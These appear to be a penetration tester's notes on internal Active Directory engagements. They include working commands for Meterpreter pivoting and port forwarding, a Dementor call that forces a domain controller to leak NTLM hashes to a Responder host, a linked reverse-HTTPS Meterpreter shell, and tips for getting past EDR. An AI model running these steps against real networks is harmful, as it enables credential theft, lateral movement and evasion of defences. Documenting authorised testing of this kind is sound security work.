Internal Penetration Test Notes

The idea, the execution, the common exploitations

Over the past year, I have conducted several internal penetration tests for various organizations. An internal penetration test takes the hypothetical situation of a malicious attacker breaching the perimeter. The method of breaching the perimeter matters only in the access the penetration tester is given. If someone enters the building and plugs into a network point, they won’t have user credentials or a machine on the AD domain. If an attacker phishes an employee or steals their laptop and cellphone, they would have those resources. The idea isn’t to figure out what could breach the perimeter but the risk if a malicious attack is on the inside.

First Things First:

• Determine the IP address of the machine you’re on, which domain controller (DC) is your logon server, and the DNS server.
• Use route print on Windows to show the routing table.
• Query the DNS server for IP addresses from the routing table to see if anything has an interesting name.
• Check SMB shares in Windows Explorer.

Execution:

• To switch EDR off, escalate privileges to local admin, and it may be possible to escalate to domain admin.
• This is not usually easy, but if it is, it’s generally because of a non-standard application on the machine. Try right-clicking on these and running as administrator, as it might work. Numerous Windows privilege escalation tutorials are available online. Try everything. This website is handy when Sysinternals tools are not on the machines: https://live.sysinternals.com/.
• Privilege escalation will give options for access to SAM and might provide domain admin escalation options.
• Using Dementor or SpoolSample to get the DC to authenticate to a non-existent share and grab the NTLM hashes.
• 9 out of 10 times, these won’t work because EDR will block these scripts, and privilege escalation is not always that simple.

Cooler Stuff to Do:

• To get a Meterpreter shell to your *nix box, try using golang. Golang installs per user, not system-wide, and the binary can be downloaded if the MSI is blocked. If the Golang script calls out on port 443, it hardly ever gets stopped by EDR. I find this one works: https://github.com/bogey3/Golang_Reverse_HTTPS_Meterpreter.
• Running post-exploitation enumeration scripts from MSF usually gains a lot of information.
• Pivoting: Use autoroute to route subnets from Meterpreter sessions.

msf6 post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1

• LDAP enumeration should be the first step.

msf > use auxiliary/gather/ldap_query

• Port forwarding from Meterpreter gives the *nix box a “tunnel”. Since the port forward would have the machine listening on 445 if Responder is running on a different machine to catch the hashes, you could do this:

meterpreter > portfwd add -l 445 -p 445 -r 169.254.37.128

Then run Dementor to catch the NTLM hashes and perform NTLM relay attacks:

python3 dementor.py -d domain -u username -p password RESPONDERIP TARGET

• Back on the Windows box, you could grab other Golang tools like Naabu and Nuclei for enumeration and potentially identifying CVEs.

Notes:

• Keep everything on the Windows box in one folder for easier reporting.
• Expect nothing to work, and always try something else.
• Browse SMB shares and look for anything labelled “IT”.
• Read through the LDAP query results carefully. Old Windows machines are an EternalBlue touchpoint.
• Figure out why the network is architected how it is, such as why certain machines are on specific subnets.